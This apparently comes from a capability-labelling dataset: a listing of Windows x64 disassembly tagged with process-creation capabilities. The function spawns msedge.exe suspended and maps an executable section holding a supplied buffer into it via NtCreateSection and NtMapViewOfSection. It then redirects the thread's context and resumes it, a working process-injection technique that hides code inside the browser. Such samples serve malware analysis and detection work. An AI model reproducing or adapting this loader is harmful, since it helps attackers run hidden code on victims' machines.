Function at 0x140002260
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push rbp
push rbx
sub rsp, 0x718
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x6b0], rcx
mov qword [rbp + 0x6b8], rdx
lea rax, [rbp + 0x5e0]
mov r8d, 0x70
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x5e0], 0x70
lea rax, [rbp + 0x5c0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
mov qword [rbp + 0x688], rax
lea rax, str.C:Program_Files__x86_MicrosoftEdgeApplication
mov qword [rbp + 0x680], rax
lea rax, [rbp + 0x4d0]
lea rdx, str._C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe____no_start_up_window___win_session_start__prefetch:5
mov ecx, 0xe8
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rax, [rbp + 0x4d0]
mov rcx, qword [rbp + 0x688]
lea rdx, [rbp + 0x5c0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x5e0]
mov qword [rsp + 0x40], rdx
mov rdx, qword [rbp + 0x680]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
mov dword [rbp + 0x67c], eax
cmp dword [rbp + 0x67c], 0
jne 0x14000238d
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_create_process._Error:__lu_n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x1400027e1
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call rax
mov qword [rbp + 0x670], rax
cmp qword [rbp + 0x670], 0
jne 0x1400023d5
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_load_ntdll.dll._Error:__lu_n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x1400027e1
mov rax, qword [rbp + 0x670]
lea rdx, str.NtCreateSection
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x670]
lea rdx, str.NtMapViewOfSection
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x670]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
cmp qword [rbp + 0x668], 0
je 0x140002456
cmp qword [rbp + 0x660], 0
je 0x140002456
cmp qword [rbp + 0x658], 0
jne 0x14000247a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_get_function_addresses._Error:__lu_n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x1400027e1
mov rax, qword [rbp + 0x6b8]
mov qword [rbp + 0x4c0], rax
lea rdx, [rbp + 0x4c0]
lea rax, [rbp + 0x4c8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
mov r10, qword [rbp + 0x668]
mov r9, rdx
mov r8d, 0
mov edx, 0xf001f
mov rcx, rax
call r10
mov dword [rbp + 0x654], eax
cmp dword [rbp + 0x654], 0
jns 0x1400024fa
mov eax, dword [rbp + 0x654]
mov edx, eax
lea rax, str.Failed_to_create_section._NTSTATUS:_0x_x_n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x1400027e1
mov qword [rbp + 0x4b8], 0
mov qword [rbp + 0x4b0], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x4c8]
lea r8, [rbp + 0x4b8]
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
lea rdx, [rbp + 0x4b0]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x660]
mov r9d, 0
mov rdx, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x654], eax
cmp dword [rbp + 0x654], 0
jns 0x1400025a6
mov eax, dword [rbp + 0x654]
mov edx, eax
lea rax, str.Failed_to_map_section_to_local_process._NTSTATUS:_0x_x_n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x1400027e1
mov rax, qword [rbp + 0x4b8]
mov rcx, qword [rbp + 0x6b8]
mov rdx, qword [rbp + 0x6b0]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov qword [rbp + 0x4a8], 0
mov rdx, qword [rbp + 0x5c0]
mov rax, qword [rbp + 0x4c8]
lea r8, [rbp + 0x4a8]
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
lea rcx, [rbp + 0x4b0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x660]
mov r9d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x654], eax
cmp dword [rbp + 0x654], 0
jns 0x14000265f
mov eax, dword [rbp + 0x654]
mov edx, eax
lea rax, str.Failed_to_map_section_to_remote_process._NTSTATUS:_0x_x_n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x1400027e1
mov dword [rbp], 0x100002
mov rcx, qword [rbp + 0x5c8]
lea rax, [rbp - 0x30]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
test eax, eax
jne 0x1400026a5
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_get_thread_context._Error:__lu_n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x1400027e1
mov rax, qword [rbp + 0x4a8]
mov qword [rbp + 0x50], rax
mov rcx, qword [rbp + 0x5c8]
lea rax, [rbp - 0x30]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
test eax, eax
jne 0x1400026ef
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_set_thread_context._Error:__lu_n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x1400027e1
mov rax, qword [rbp + 0x5c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
cmp eax, 0xffffffff
jne 0x14000272b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_resume_thread._Error:__lu_n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x1400027e1
mov rax, qword [rbp + 0x4b8]
mov rdx, rax
lea rax, str.Unmapping_section_from_local_process._Address:__p_n
mov rcx, rax
call sym.printf
mov rbx, qword [rbp + 0x4b8]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x658]
mov rdx, rbx
call rax
mov dword [rbp + 0x654], eax
cmp dword [rbp + 0x654], 0
jns 0x140002790
mov eax, dword [rbp + 0x654]
mov edx, eax
lea rax, str.Failed_to_unmap_section_from_local_process._NTSTATUS:_0x_x_n
mov rcx, rax
call sym.printf
mov eax, 0
jmp 0x1400027e1
mov rax, qword [rbp + 0x4c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x670]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
mov rax, qword [rbp + 0x5c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x5c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
add rsp, 0x718
pop rbx
pop rbp
ret